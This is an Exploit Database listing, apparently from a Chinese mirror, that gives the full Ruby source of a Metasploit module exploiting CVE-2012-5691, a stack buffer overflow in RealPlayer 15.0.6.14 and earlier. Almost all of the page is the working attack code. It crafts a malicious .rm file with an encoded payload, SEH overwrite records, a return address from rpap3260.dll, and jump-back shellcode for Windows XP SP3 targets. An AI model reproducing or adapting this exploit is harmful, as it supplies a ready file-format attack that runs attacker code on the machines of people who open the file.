RealPlayer – ‘.RealMedia’ File Handling Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2012-12-27
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23694/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
  				The vulnerability exists in the handling of real media files, due to the insecure
  				usage of the GetPrivateProfileString function to retrieve the URL property from an
  				InternetShortcut section.
  
  				This module generates a malicious rm file which must be opened with RealPlayer via
  				drag and drop or double click methods. It has been tested successfully on Windows
  				XP SP3 with RealPlayer 15.0.5.109.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-5691' ],
  					[ 'OSVDB', '88486' ],
  					[ 'BID', '56956' ],
  					[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
  				],
  			'DefaultOptions' =>
  				{
  					'ExitFunction' => 'process'
  				},
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'BadChars'=> "\x00\x0a\x0d",
  					'DisableNops' => true,
  					'Space' => 2000
  				},
  			'Targets'=>
  				[
  					[ 'Windows XP SP3 / Real Player 15.0.5.109',
  						{
  							'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll
  							'OffsetOne' => 2312, # Open via double click
  							'OffsetTwo' => 2964 # Open via drag and drop
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Dec 14 2012',
  			'DefaultTarget'=> 0))
  
  		register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)
  
  	end
  
  	def exploit
  
  		buffer = payload.encoded
  		buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
  		buffer << generate_seh_record(target.ret)
  		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
  		buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
  		buffer << generate_seh_record(target.ret)
  		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
  		buffer << rand_text(7000) # Generate exception
  
  		content = "[InternetShortcut]\nURL="
  		filecontent = content+buffer
  
  		file_create(filecontent)
  
  	end
  end